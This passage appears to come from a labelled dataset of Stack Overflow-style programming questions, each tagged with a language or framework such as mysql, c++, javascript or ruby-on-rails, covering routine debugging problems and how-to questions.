achieve.    any ideas,mysql
how to see current version of iphone sdk in mac system   anyone can help,iphone
ios app is still installing into device even after udid removed from the provisioning profile  first i added the udid of device and made a build and it got installed in my device . after that i removed the udid from the provision profile and made a new build it again got installed . without manually deleting provisioning profile from device how to get resolve this issue.also i don t want remove the device did from apple account.,ios
html page parts  is there any way i can measure out my html page and then find out 40% of it or 60% of its length  so that certain elements of the page can occupy only that much,html
load instance in a different appdomain  is it possible to create a new app domain and instantiate an instance of a type in that new domain or can you only load assemblies into app domains  or possibly marshal an instance reference to another app domain,.net
rails: suppress output in view for some code  suppose my array looks like this:   <pre><code>people =&gt; [   {     id =&gt; /org/div/emp/123      person =&gt; jack      age =&gt; 25   }    {     id =&gt; /org/div/emp/124      person =&gt; frank      age =&gt; 45   }    {     id =&gt; /org/div/emp/125      person =&gt; molly      age =&gt; 30   } ] </code></pre>   i m passing this array to my view using the @people variable.    my view is simple right now:   <pre><code>&lt;h1&gt;people&lt;/h1&gt;   &lt;% @people.each do |person| %&gt;     &lt;%= uri = person[id].split( / ) %&gt;     &lt;p&gt;     person: &lt;%= person[person] %&gt; &lt;br/&gt;     age: &lt;%= person[age] %&gt; &lt;br/&gt;     id: &lt;%= uri[4] %&gt;     &lt;br/&gt;     &lt;/p&gt;   &lt;% end %&gt; </code></pre>   the problem is that  due to how views work  whenever i split person[id] it is displayed as an array:   <pre><code>people    [ org    div    emp    123 ]    person: jack   age: 25   id: 123    [ org    div    emp    124 ]    person: frank   age: 45   id: 124    [ org    div    emp    125 ]    person: molly   age: 30   id: 125 </code></pre>   how do i go about getting the id from the uri without the array being displayed,ruby-on-rails
how to create a new excel file from existing template using asp.net   i m new to asp.net  i want to create a new excel spreadsheet based on an existing template file and populate it with data from a stored procedure. i ve tried using epplus but it s not working.,asp.net
css for firefox and safari on mac os   this might be a stupid question  but i have a scenario where i fixed someone s webpage  and it is looking good on all major web browsers on my windows machine. however  when i uploaded the website to adobe browserlab  and when i looked at safari and firefox on a os x  the footer is a bit off from safari and firefox on a windows operating system.    my questions are:   <ul> <li>is there a way to target only safari and firefox on os x and not touching those on a windows  i mean  is there a way to create a stylesheet only for os x  </li> <li>or are there any conditional comments (for example  ) that targets mac os x  if not  are there any other ways  </li> <li>or  am i f out of luck </li> </ul>   thank you people!,css
strange behavior after implementing text-gap in c++  i have attempted to implement a text-gap text-editor  and at first glance everything seems to work. but  at seemingly random points  garbage data will enter the mix. i ve included the code with all gui and graphical shennanigans removed  just the text gap class and its buddies implemented in a simple main  with an attached log of the console output when run with g++ main.cpp -o main.    p.s. text gap means dividing in-memory text into at least two data structures  but presenting them to the user as an uninterrupted stream  allowing easy insertion/deletion/cursor semantics. essentiall stringa+stringb=whatusersees. thus an insertion is a simple push-back on the first-half  and a delete key is a pop-front on the second half. moving the cursor in either direction means simply popping from one direction and pushing in the other.    pps. in my multiple runs the garbage data does not show when input is pushed in  either as a character or as the final string. also  the error occurs seemingly randomly  sometimes after only a few characters  sometimes after a lot.    ppps. i can can rid of it by essentially using a string-n-copy function to clean the whole set of values  but that won t work unless i run it during the first half of concattextblockrange. and its relatively expensive  when all i should be doing is accessing a dereferenced iterator  not accessing a dereferenced iterator and then counting off parts of it.    pppps. there is no garbage data before the first half of concattextblockrange  but it is present whenever the dataiter is pointing at a  contaminated   character position  which contains both the character (h or g or whatever) and also a bunch of unintelligible garbage data. the second half does not seem to generate this. the generation is not reliable  though it will occur if you keep entering keys.    code:   <pre><code>//test2.cpp  #include &lt;iostream&gt; #include &lt;string&gt; #include &lt;list&gt;  struct textblock{     std::list&lt;char&gt; data;     void assign( std::string instr ) {         std::string::iterator myiter = instr.begin();         std::string::iterator end = instr.end();         while( myiter != end ) {             data.push_back( (*myiter) );             ++myiter;         }     }     char pop_front(  ) {         if( data.empty() == true ) { std::cout &lt;&lt;  error  &lt;&lt; std::endl; return  # ; }         char toret = data.front();         data.pop_front();         return toret;     }     char pop_back(  ) {         if( data.empty() == true ) { std::cout &lt;&lt;  error  &lt;&lt; std::endl; return    ; }         char toret = data.back();         data.pop_back();         return toret;     }     void push_front( char inchar ) { data.push_front( inchar ); }     void push_back( char inchar ) { data.push_back( inchar ); }     void backspace_key(  ) { data.pop_back(); }     void delete_key(  ) { data.pop_front(); }     int size(  ) { return data.size(); }     bool empty(  ) { return data.empty(); }     void printstring(  ) {         std::cout &lt;&lt;  .:::printing:::.  &lt;&lt; std::endl;         std::list&lt;char&gt;::iterator myiter = data.begin();         std::list&lt;char&gt;::iterator end = data.end();         while( myiter != end ) {             std::cout &lt;&lt; (*myiter);             ++myiter;         }         std::cout &lt;&lt; std::endl;     } };  std::string concattextblockrange( const textblock * const in1  const textblock * const in2  int backrange  int frontrange ) {     std::string toret;      std::list&lt;char&gt;::const_iterator dataiter1 = in1-&gt;data.end();     for( int i=0; i&lt;backrange; i++ ) { --dataiter1; }     for( int i=0; i&lt;backrange; i++ ) {         toret.append( &amp;(*dataiter1) );         ++dataiter1;     }      std::list&lt;char&gt;::const_iterator dataiter2 = in2-&gt;data.begin();     for( int i=0; i&lt;frontrange; i++ ) {         toret.append( &amp;(*dataiter2) );         ++dataiter2;     }     return toret; }  class text{ public:     text( std::string infirst  std::string insecond ) {         first.assign(infirst);         second.assign(insecond);     }     void incgap(  ) {         if( second.empty() == false ) { first.push_back( second.pop_front() ); }     }     void decgap(  ) {         if( first.empty() == false ) { second.push_front( first.pop_back() ); }     }     void incgap( int reps ) {         for( int i=0; i&lt;reps; i++ ) { first.push_back( second.pop_front() ); }     }         void decgap( int reps ) {             for( int i=0; i&lt;reps; i++ ) { second.push_front( first.pop_back() );                 }     }     void insert( char inkey ) {         first.push_back( inkey );     }     void delete_key(  ) {         second.delete_key();     }     void backspace_key(  ) {     first.backspace_key();     }     void space_key(  ) {         insert(   );     }     std::string retstring( int backrange  int frontrange ) {         if( frontrange &gt;= second.size() ) { frontrange = second.size(); }         if( backrange &gt;= first.size() ) { backrange = first.size(); }         return concattextblockrange( &amp;first  &amp;second  backrange  frontrange );     } private:     textblock first  second; };   int main(){     text mytext(  the cat       because    );     char in;     bool tripped;     while( in !=  `  ) {         std::cout &lt;&lt; mytext.retstring(1000 1000) &lt;&lt; std::endl;         tripped = false;         std::cin &gt;&gt; in;         if( in ==  ]  ) { mytext.incgap(); tripped = true; }         if( in ==  [  ) { mytext.decgap(); tripped = true; }         if( in ==  \\  ) { mytext.backspace_key(); tripped = true; }         if( in ==  -  ) { mytext.delete_key(); tripped = true; }         if( in ==  _  ) { mytext.space_key(); tripped = true; }         if( tripped == false ) { mytext.insert( in ); }     }      return 0; } </code></pre>   console:   <pre><code>the cat  because  qwer the cat q because  the cat qw because  the cat qwe because  the cat qwer because  qwerttyyu the cat qwerq because  the cat qwerqw because  the cat qwerqwe because  the cat qwerqwer because  the cat qwerqwert because  the cat qwerqwertt because  the cat qwerqwertty because  the cat qwerqwerttyy because  the cat qwerqwerttyyu because  yuiop the cat qwerqwerttyyuy because  the cat qwerqwerttyyuyu because  the cat qwerqwerttyyuyui because  the cat qwerqwerttyyuyuio because  the cat qwerqwerttyyuyuiop because  sdfghj the cat qwerqwerttyyuyuiops because  the cat qwerqwerttyyuyuiopsd because  the cat qwerqwerttyyuyuiopsdf because  the cat qwerqwerttyyuyuiopsdfg because  the cat qwerqwerttyyuyuiopsdfgh because  the cat qwerqwerttyyuyuiopsdfghj because  ertasfj the cat qwerqwerttyyuyuiopsdfghje because  the cat qwerqwerttyyuyuiopsdfghjer because  the cat qwerqwerttyyuyuiopsdfghjert because  the cat qwerqwerttyyuyuiopsdfghjerta because  the cat qwerqwerttyyuyuiopsdfghjertas because  the cat qwerqwerttyyuyuiopsdfghjertasf because  the cat qwerqwerttyyuyuiopsdfghjertasfj because  dsrtjgf the cat qwerqwerttyyuyuiopsdfghjertasfjd because  the cat qwerqwerttyyuyuiopsdfghjertasfjds because  the cat qwerqwerttyyuyuiopsdfghjertasfjdsr because  the cat qwerqwerttyyuyuiopsdfghjertasfjdsrt because  the cat qwerqwerttyyuyuiopsdfghjertasfjdsrtj because  the cat qwerqwerttyyuyuiopsdfghjertasfjdsrtjg because  the cat qwerqwerttyyuyuiopsdfghjertasfjdsrtjgf because  dftjdgh the cat qwerqwerttyyuyuiopsdfghjertasfjdsrtjgfd because  the cat qwerqwerttyyuyuiopsdfghjertasfjdsrtjgfdf because  the cat qwerqwerttyyuyuiopsdfghjertasfjdsrtjgfdft because  the cat qwerqwerttyyuyuiopsdfghjertasfjdsrtjgfdftj because  the cat qwerqwerttyyuyuiopsdfghjertasfjdsrtjgfdftjd because  the cat qwerqwerttyyuyuiopsdfghjertasfjdsrtjgfdftjdg because  the cat qwerqwerttyyuyuiopsdfghjertasfjdsrtjgfdftjdgh because  sfgkjsdfgj the cat qwerqwerttyyuyuiopsdfghjertasfjdsrtjgfdftjdghs because  the cat qwerqwerttyyuyuiopsdfghjertasfjdsrtjgfdftjdghsf because  the cat qwerqwerttyyuyuiopsdfghjertasfjdsrtjgfdftjdghsfg because  the cat qwerqwerttyyuyuiopsdfghjertasfjdsrtjgfdftjdghsfgk��� because  the cat qwerqwerttyyuyuiopsdfghjertasfjdsrtjgfdftjdghsfgk���j���fghj1 because  the cat qwerqwerttyyuyuiopsdfghjertasfjdsrtjgfdftjdghsfgk���j���fghj1s���` because  the cat qwerqwerttyyuyuiopsdfghjertasfjdsrtjgfdftjdghsfgk���j���fghj1s���`d��� because  the cat qwerqwerttyyuyuiopsdfghjertasfjdsrtjgfdftjdghsfgk���j���fghj1s���`d���f���` because  the cat qwerqwerttyyuyuiopsdfghjertasfjdsrtjgfdftjdghsfgk���j���fghj1s���`d���f���`g��� because  the cat qwerqwerttyyuyuiopsdfghjertasfjdsrtjgfdftjdghsfgk���j���fghj1s���`d���f���`g���j���` because  </code></pre>   thanks for reading!,c++
ip-addresses stored as int results in overflow   i m writing a chat-server in node.js  and i want to store connected users ip-addresses in a mysql database as (unsigned) integers. i have written a javascript method to convert an ip-address as string to an integer. i get some strange results however.    here is my code:   <pre><code>function iptoint(ip) {     var parts = ip.split( . );     var res = 0;      res += parseint(parts[0]  10) &lt;&lt; 24;     res += parseint(parts[1]  10) &lt;&lt; 16;     res += parseint(parts[2]  10) &lt;&lt; 8;     res += parseint(parts[3]  10);      return res; } </code></pre>   when i run call the method as <code>iptoint( 192.168.2.44 );</code> the result i get is <code>-1062731220</code>. it seems like an overflow has occurred  which is strange  because the expected output <code>(3232236076)</code> is inside the number range in javascript (2^52).    when i inspect <code>-1062731220</code> in binary form  i can see the <code>3232236076</code> is preserved  but filled with leading 1 s.    i m not sure  but i think the problem is with signed vs. unsigned integers.    can any of you explain what is going on   and possibly how to parse <code>-1062731220</code> back to an string ip,javascript
search in rails using find <pre><code>@user_post = post.find(:all :conditions =&gt; [ content like      %#{params[:query]}% ]) </code></pre>   this particular statement returning nil even though there exists a record in the database. where could be the problem     please help me out.,ruby-on-rails
accessing controller from a directive  i have an angular app:    <strong>html</strong>   <pre><code>  &lt;body ng-controller= dashboardcontroller as vm &gt;     &lt;div ng-controller= onecontroller as vm &gt;       number inside the controler: {{vm.number}}     &lt;/div&gt;     &lt;div ng-controller= twocontroller as vm &gt;       &lt;me-dir&gt;&lt;/me-dir&gt;     &lt;/div&gt;   &lt;/body&gt; </code></pre>   <strong>angular</strong>   <pre><code>angular.module( plunker   [])  angular.module( plunker ).controller  dashboardcontroller   ()-&gt;   vm = @  angular.module( plunker ).controller  onecontroller   ()-&gt;   vm = @   vm.number = 7  angular.module( plunker ).controller  twocontroller   ()-&gt;   vm = @  angular.module( plunker ).directive  medir   ()-&gt;   return {     #scope: {}         #require         #link         template:  &lt;strong&gt;got it!{{number}}&lt;/strong&gt;    } </code></pre>  <ul> <li>how can i access the value <strong>vm.number</strong> from <strong>onecontroller</strong> and assign it to the scope inside of the directive  </li> <li>is it possible to do it using <strong>require</strong> and <strong>link</strong> field from directive  </li> <li>can you reference existing controller using <strong>require</strong>  </li> </ul>   at the moment onecontroller isn t the parent of directive so <strong>require:  ^ctrlname </strong> doesn t work. i haven t found a lot of documentation about controller/require field. i know how to do it if i would have to pass it in using <strong>attributes</strong> and stuff. the question is strictly about <strong>require link controller</strong> directive fields.    plunker <a href= http://plnkr.co/edit/xbtu5ixvelaelqudvatq  rel= nofollow >link</a>,angularjs
why doesn t the increment operator change the value of variable in java   i recently wrote snippet code like this   <pre><code>public class testincrement {      public static void main(string[] args){         double a = 12.4;          double b = 5.6;          a -=b -=b -= b -= b -= b -= b;         system.out.println(a);         a-=b;          system.out.println(a);      } } </code></pre>   and the output is:   <pre><code>12.4 12.4 </code></pre>   why increment operator not work,java
java: calculating and storing total in a variable  i m asked to calculate the total number of golf club members that are expected to play today (total multiplied by decimal percentage) and store that total in the players variable. i do not know how to store the total. any help would be great. i tried using if statements then typing  <code>players = input.nextdouble();</code> but that doesn t work. i m very new to java...   <pre><code> class golf  {      private int weather;      private double val1;      private double players;       public void calculations()      {                      scanner input = new scanner(system.in);          system.out.print( enter the number of club members:  );           val1 = input.nextdouble();           system.out.println( now select a number for the weather );   //weather atm          system.out.println( 1: sunny );          system.out.println( 2: overcast );          system.out.println( 3: rain );          system.out.print( selection:  );          weather = input.nextint();           system.out.println(   );     }      public void output()     {         if (weather == 1) //calculates expected players when sunny             system.out.println(val1*.25 +     +  will play golf today! );          if (weather == 2) //calculates expected players when overcast             system.out.println(val1*.12 +     +  will play golf today! );           if (weather == 3) //calculates expected players when rainy             system.out.println(val1*.03 +     +  will play golf today! );      } } </code></pre>,java
newbie on  script-generate   i am a newbie to ruby on rails and i am trying to learn it.     at the moment  i am using <a href= http://oreilly.com/pub/a/ruby/archive/rails.html page=2  rel= nofollow noreferrer >ruby tutorial</a> that is about 5 years old.    i am stuck on the 2nd page of the tutorial where i am generating a script or the controller in the command window.   <pre><code>c:\rails&gt; ruby script\generate controller mytest  ruby: no such file or directory script/generate (loaderror) </code></pre>   what are my alternative to generating the script  and if possible  can someone show me a tutorial that isn t so outdated      much appreciated,ruby-on-rails
type matches correctly  but why   #1215 - cannot add foreign key constraint  keeps poping out   this is my first table  address .   <pre><code>create table address( street varchar(32) not null  city varchar(32) not null  state varchar(32) not null  zip_code varchar(32) not null  primary key(zip_code) ) </code></pre>   this is my second table  customer .   <pre><code>create table customer( customer_id integer not null  name varchar(32) not null  primary key(customer_id) ) </code></pre>   this is my relational table about above two tables. but why cannot i make it  the type matches well. so please.   <pre><code>create table cus_live( customer_id integer not null  zip_code varchar(32) not null  primary key(customer_id  zip_code)  foreign key(customer_id) references customer  foreign key(zip_code) references address ) </code></pre>,sql
html text and image line folding  i have the html page where textual article title is followed by an image. when the title is big enough some part of it goes to newline together with the image. but sometimes the textual title fits the page  but only without image  so the image goes to newline. how to glue the image with the last word of the title  so that image will go to the new line only with the part of text     the current html markup:   <pre><code> &lt;div class= title &gt; &lt;a href= link to the article &gt;article title goes here...&lt;/a&gt;&lt;img src= /pics/.gif /&gt; </code></pre>,html
video courses for learning c++  do you have any recommendations on great video courses as a complement to books for learning c++,c++
calling external macro in static lib  edit:    my xcode project (called project1) contains another xcode project as a dependency (in build phases) (called lib1)    the problem i have is that lib1 needs a macro and some defines defined at compile time by project1 in an include (depending on what target is selected in project1)    i thought that a run script action could help me. but i discovered that the script is called after dependencies are built. so my include file is copied into my lib source code  after that the lib is compiled...    also i discovered that build settings environment variables are not transmitted to lib1  which would help me a lot.    do you have an idea     thanks for your help.    thierry,objective-c
unix read ()/write() function  i wrote one program .its working fine till printing n variable after that its not printing buf2.can anyone tell me why its happening and what should be the right approach same approach working fine for test.txt which is already created but not working for file.txt which we are creating in this code only   <pre><code> #include&lt;sys/stat.h&gt;  #include&lt;sys/types.h&gt;  #include&lt;stdio.h&gt;  #include&lt;fcntl.h&gt;  int main() {  int fd1 m n;  int fd2;  fd2=open( test.txt  o_rdwr);  fd1=open( file.txt  o_creat|o_rdwr s_irwxu);     if (fd1==0)       printf( error );     else      printf( file created \t %d\n  fd1);  char buf[6];  fgets(buf 6 stdin);  printf( %s  buf);   n=write(fd1 buf 6);  printf( \n\n%d  n);  char buf2[6];   read (fd2  buf2 6) ;   printf( final \t %s  buf2);  //from here not getting desired o/p  m=read(fd1 buf2 n);  printf( \n\n%d  m);  printf( \nstring is \n );   write(1 buf2 m);   close(fd1);  return 0;  } </code></pre>,c
trying to make a javascript program to calculate the volume of a sphere <pre><code>    // sphere.js #2 // this script calculates the volume of a sphere.  // function called when the form is submitted. // function performs the calculation and returns false. function calculate() {      use strict ;      // for storing the volume:     var volume;      // task 1: get a reference to the form element:     var radius = document.getelementbyid( radius );      // add an  if  statement here to     // make sure there is a reference     if (radius) {         //task #2: add an  if  to make sure the value is positive:         if (radius &gt; 0) {             // task #3: perform the calculation:             volume = (4/3)*(22/7)*(pow(radius 3));             //hint: the formula for the volume of a sphere is v=(4/3)*(pi)*(radius cubed)              // format the volume:             volume = volume.tofixed(4);              // task #4: display the volume:             document.getelementbyid( volume ).id = volume ;             //hint: use the same method as in the radius variable assignment call above         } //end if      } end if radius      // return false to prevent submission:     return false;  } // end of calculate() function.  // function called when the window has been loaded. // function needs to add an event listener to the form. function init() {      use strict ;     document.getelementbyid( theform ).onsubmit = calculate; } // end of init() function. window.onload = init; </code></pre>   i m trying to make a script to calculate volume of a sphere. its a homework assignment so thats why all those comments are there. its basically telling me what to do.     well i followed it to the best of my knowledge but i m still getting an error. the error i get is  syntaxerror: missing ; before statement  on line 30. which is telling me to put a ; before  end if . i m guessing thats not the error. i m guessing the formula is the error.,javascript
mysql match against multple values  i ve got the following table:   <pre><code>nid | tag_id -------------- 1   | 213 1   | 78 2   | 938 2   | 1002 2   | 8573 2   | 5 3   | 3957 3   | 487 4   | 56 </code></pre>   i want to retreive a single nid where tag_id matches several values say 1002 938 8573.    i started with the following query:   <pre><code>select nid group_concat(distinct tag_id order by tag_id) tag_ids from table group by nid </code></pre>   which returns:   <pre><code>nid | tag_ids -------------- 1   | 78 213 2   | 5 938 1002 8573 3   | 487 3957 4   | 56 </code></pre>   but i haven t found anything yet that ll will allow me to match the tag_ids column again my set of values.  i need it to match all not just anyone of the values.    maybe my approach is wrong so happy to look at different methods.    any input much appreciated.    thanks steve,mysql
javascript: function associated with create element not working  i have a select element from createelement which i want to have replaced with a text input element with an onchange event  but my code for it doesn t work. here s the code (the select element itself is appended to other div elements that are also created):   <pre><code>var countess = 0; function adadd(){     var child = document.getelementbyid( geneadd );     if (child.value ===  add ){         countess++;         if (countess &lt; 2) {             var divi=document.createelement( div );             divi.name =  diviena ;             divi.id =  divienid ;             divi.class =  table ;             var elemdivi = document.getelementbyid( fieldsetid );             elemdivi.appendchild(divi);         }         var divii=document.createelement( div );         divii.name =  divienaa  + countess;         divii.id =  divienidd  + countess;         var elemdivii = document.getelementbyid( divienid );         elemdivii.appendchild(divii);          var sell=document.createelement( select );         sell.id =  den3erw  + countess;         sell.name =  oute3erw  + countess;         sell.onchange =  lechangefinal() ;         var har = document.getelementbyid(divii.id);         har.appendchild(sell);          var opt=document.createelement( option );         opt.id =  disept  + countess/*&lt; php echo $varia;  &gt;*/;         opt.value =   ;         var nar = document.getelementbyid(sell.id);         sell.appendchild(opt);         document.getelementbyid(opt.id).innerhtml= select gene... ;          //...more options in between...          var opta=document.createelement( option );             opta.id =  other  + countess/*&lt; php echo $varia;  &gt;*/;             opta.value =  other ;             var nari = document.getelementbyid(sell.id);             sell.appendchild(opta);             document.getelementbyid(opta.id).innerhtml= other... ;     } }    </code></pre>   and this is the function that i want to be working on the create element:   <pre><code>function lechangefinal(){     for (var iii = 0; iii &lt;= 100; iii++){         var childi = document.getelementbyid( den3erw  + iii);         if (childi.value ===  other ){             parent.removechild(childi);             var inpuat=document.createelement( input );             inpuat.type =  text ;             inpuat.name =  2 ;             var elemi=document.getelementbyid( divienidd  + iii);             elemi.appendchild(inpuat);         }     } } </code></pre>,javascript
string is immutable and stringbuilder is mutable  can any one explain with examples   <hr>   related discussion: <a href= https://stackoverflow.com/questions/21078/whats-the-best-string-concatenation-method-using-c >most efficient way to concatenate strings </a>,.net
c program works only a part  i need to make a program which says that i have to fill  1  in the odd rows and  0  in the even ones. i tried and wrote this code  but it seem like it works for only a part.  please  can you explain me the method    <pre><code>#include &lt;stdlib.h&gt; #include &lt;stdio.h&gt; #include &lt;math.h&gt;  main() {   int r  c;   do {   printf( insert the number of the rows in the matrix:  );   scanf( %d   &amp;r);   printf( insert the number of the colums in the matrix:  );   scanf( %d   &amp;c);   } while(r&lt;=0||c&lt;=0);    r--; c--;   int mat[r][c];   int a  b;    for(a=0; a&lt;=r; a++)   {     for(b=0; b&lt;=c; b++)     {       if(a%2==0)       {mat[a][b]=0;}       else {mat[a][b]=1;}     }   }    printf( \noutput:\n\n );     for(a=0; a&lt;=r; a++){       for(b=0; b&lt;=c; b++){         printf( %d   mat[a][b]);       }       printf( \n );     }    return 0; } </code></pre>   input: 2  3    output:  001 111,c
rails::offline in routes.rb throws undefined method `offline  for rails:module (nomethoderror)  am trying enable offline mode for my rails apps by following the offline apps railcast in the below url    <a href= http://railscasts.com/episodes/247-offline-apps-part-1  rel= nofollow >http://railscasts.com/episodes/247-offline-apps-part-1</a>    made the following changes to my app   <ul> <li>added gem  rack-offline  to gemfile</li> <li>added match  /application.manifest  => rails::offline to routes.rb</li> <li>updated html tag to  in application.html.erb</li> <li>added env[ rails_asset_id ] =    to application.rb</li> </ul>   when trying to start rails server it throws the following error    undefined method `offline  for rails:module (nomethoderror)    any help appreciated,ruby-on-rails
list of keyvaluepair  why does .net not provide a class for a <code>list&lt;keyvaluepair&lt;t  u&gt;&gt;</code>     i think there are a lot of situations when you need to keep an array of pairs. for example    <pre><code>1; 2       a ;  array  5; 8       b ;  browser  1; 9       f ;  firefox  8; 10      f ;  frequency  </code></pre>   à la:   <pre><code>pairs&lt;int  int&gt; mypairs;  mypairs.add(10  8); mypairs.add(5  8); mypairs.add(10  5); mypairs.add(1  4);  mypairs[0].value1 = 5; mypairs[5].value2 = 8; </code></pre>,.net
what version on .net framework do i need to install  i am running winxp in vmware workstation 6.5 and my host os is win 7.0  64 bit. i need to install a software on this winxp that needs iis and .net framework . ( 2.0 works with it). i am on this page: <a href= http://msdn.microsoft.com/en-us/netframework/aa731542  rel= nofollow >http://msdn.microsoft.com/en-us/netframework/aa731542</a> but not sure which one to install  i installed     before posting this question i had installed microsoft .net framework version 2.0 redistributable package (x86)  but nothing is actually installed.,.net
executing multiple queries  hi all     i was folloeing this tutorial  <a href= http://www.iphonesdkarticles.com/2008/10/sqlite-tutorial-selecting-data.html  rel= nofollow >sample code</a> it was working great..    my doubht is  to execute single query they executed in this method    <pre><code> + (void) getinitialdatatodisplay:(nsstring *)dbpath {    </code></pre>   as  <code> select coffeeid  coffeename from coffee  </code>    thats fine. but for my next view if i want execute a new query like  select * from coffee where abc = 123 .    where should i write this query    i hv to create a new method and hv to call this new method or what  how can i execute another query  plz suggest.,iphone
warning: no previous declaration - c++  i am stumped about the cause of this:   <pre><code>recorders/r5000device.cpp: in function ‘unsigned int r5000_device_tspacket_handler(unsigned char*  int  void*)’: recorders/r5000device.cpp:34:14: warning: no previous declaration for ‘unsigned int r5000_device_tspacket_handler(unsigned char*  int  void*)’ [-wmissing-declarations]  unsigned int r5000_device_tspacket_handler(unsigned char *tspacket  int len  void *callback_data)           ^ recorders/r5000device.cpp: in function ‘void r5000_msg(char*)’: recorders/r5000device.cpp:44:6: warning: no previous declaration for ‘void r5000_msg(char*)’ [-wmissing-declarations]  void r5000_msg(char * msg)   ^ </code></pre>   the forum is refusing to let me post the file ( it looks like your post is mostly code;  please add some more details )  so i am forced to pastebin r5000device.cpp: <a href= https://pastee.org/pkj9d  rel= nofollow >https://pastee.org/pkj9d</a>,c++
issue with member of custom object  i have a custom class   <pre><code>@interface xyz : nsobject  </code></pre>   {    int sum;    .... }    @property (nonatomic  assign) int sum; .....    in my method  i initialize a new class as:   <pre><code>xyz *myclass = [[xyz alloc] init]; </code></pre>   then in a for loop in that method  i assign the value of sum based on a condition:   <pre><code>if(   ) </code></pre>   {    myclass.sum = val;    nslog(@ %d   myclass.sum); }    the nslog prints the correct value. (the value here is = 6)    now  once i am out of the for loop  i again print the value of sum using the same nslog statement:   <pre><code>nslog(@ %d   myclass.sum); </code></pre>   this time the value is 0. i never understood why. thinking that the value was not retained  i even used the nsstring and nsnumber data types but i have not had any success.    is it something very basic i am missing  please advice.    thanks for any help in advance,iphone
is it a bad idea to search for app config file up the dir structure   i have a php app with a configuration file in its root. if i include it by it s absolute path  then i get a problem when i move the app elsewhere. if i include it by relative path  i get a problem when i move the file where the config is included. so  i ve come up with something like this to search for the app config file down the directory structure.    <pre><code>$relative_path =   ; for ($i=0; $i&lt;6; $i++) {     if (file_exists($relative_path. config.php )) {         require ($relative_path. config.php );         break;     }      $relative_path .=  ../ ; } </code></pre>   could this be a bad idea,php
"what is the correct way to make the (non-numbered) titles of a numbered progressive list   what is the correct way to make the (non-numbered) titles of a numbered progressive list     the following code is simple (it allows me to have a progressive list whose numbers automatically update when new items are inserted  but if i had a numbered sub-list i would have to change the starting numbers each time i add an item to the previous sub-list) but i m afraid it s not correct  i get the error:   <blockquote>    the  strong  tag may not be a direct child of the  ol  tag  </blockquote>   <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;ol&gt;
    &lt;strong&gt;a&lt;/strong&gt;
    &lt;li&gt;a1&lt;/li&gt;
    &lt;li&gt;a2&lt;/li&gt;
    &lt;li&gt;a3&lt;/li&gt;
    &lt;strong&gt;b&lt;/strong&gt;
    &lt;li&gt;b1&lt;/li&gt;
    &lt;li&gt;b2&lt;/li&gt;
    &lt;li&gt;b3&lt;/li&gt;
 &lt;/ol&gt;</code></pre>
 </div>
 </div>
     in other words  if i add an item to the sub-list  a   the numbering of the subsequent lists must be updated accordingly (a-1234 ... b-567).    <strong>edit:</strong>  <em>melius re perpensa</em>  (thinking better)  the best solution for the purpose of my question is ... to change the question. instead of a list  better a table  with automatic row numbering (excluding the headings)  as shown in the following code.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>table {
     counter-reset: rownumber;
 }
 
 table tr:not(.header) {
     counter-increment: rownumber;
 }
 
 table tr:not(.header) td:first-child::before {
     content: counter(rownumber);
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;table&gt;
      &lt;tr class= header &gt;
         &lt;th&gt;a&lt;/th&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
         &lt;td&gt; a1&lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
         &lt;td&gt; a2&lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
         &lt;td&gt; a3&lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr class= header &gt;
         &lt;th&gt; b&lt;/th&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
         &lt;td&gt; b1&lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
         &lt;td&gt; b2&lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
         &lt;td&gt; b3&lt;/td&gt;
     &lt;/tr&gt;
 &lt;/table&gt;</code></pre>
 </div>
 </div>",html
float is not working when children height are not equal  float is not working when any child element is greater than others. here is the jsfiddle.   <pre><code>`https://jsfiddle.net/vs8bud2w/4/` </code></pre>   div2 is having height 120px;others have height 100px;so fifth element is not floating to left instead it stuck near div2.    how to fix this  even clear both is not working.,css
why is my data being displayed differently on my interface   as part of an assignment question i had to create an application that involved a client and server. the client allows the user to connect to the database and upon connection and id number is selected from the combobox and the relevant information is called from the database. the information is first stored in an array and then displayed in the relevant textfields. although i do know an array for something like this is illogical it was a requirement in the assignment so i had to use it. the server will display when it was started and that a client is connected to it. the client interface will receive a similar response from the server and display it. when the user selected  send to server  it will send and display the information on the server and also on the client interface. the images below show how this works and what the error is:    when the user connects the information of a person is displayed in the textfields: <a href= https://i.stack.imgur.com/qxycd.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/qxycd.jpg  alt= enter image description here ></a>    when the user clicks  send to server the information is displayed on both the client and server interfaces as shown below (this is how it must work):<a href= https://i.stack.imgur.com/uq7vh.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/uq7vh.png  alt= enter image description here ></a>    when the next person is selected on the client interface  the information is shown: <a href= https://i.stack.imgur.com/egcor.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/egcor.png  alt= enter image description here ></a>    however when i select  send to server  it will display the details correctly on the server interface but all it displays on the client interface is that the user is connected to the server  the client number and the date as illustrated below: <a href= https://i.stack.imgur.com/jsmvq.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/jsmvq.png  alt= enter image description here ></a>    but when i do the same process with a third person  it will display the current person s details in the server and the previous person s details on the client interface as shown below: <a href= https://i.stack.imgur.com/rvqdd.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/rvqdd.png  alt= enter image description here ></a>    i have gone through the entire coding of both interfaces but i cannot find the problem (based on my coding knowledge). my question therefore is what could be causing this problem that i demonstrated in the screenshots and how do i fix it in the coding     here is the socket coding in the server class (th rest is just gui coding):   <pre><code>try         {             //creates the server socket             serversocket ssocket = new serversocket(8100);              while(true)             {                 //accepts the socket connection                 socket ssocket2 = ssocket.accept();                 //increments the client number                 clientnum++;                 //creates the task class                 processclients pc = new processclients(ssocket2 clientnum);                 thread thread = new thread(pc);                 //starts the thread                 thread.start();             }         }         catch (exception e)         {             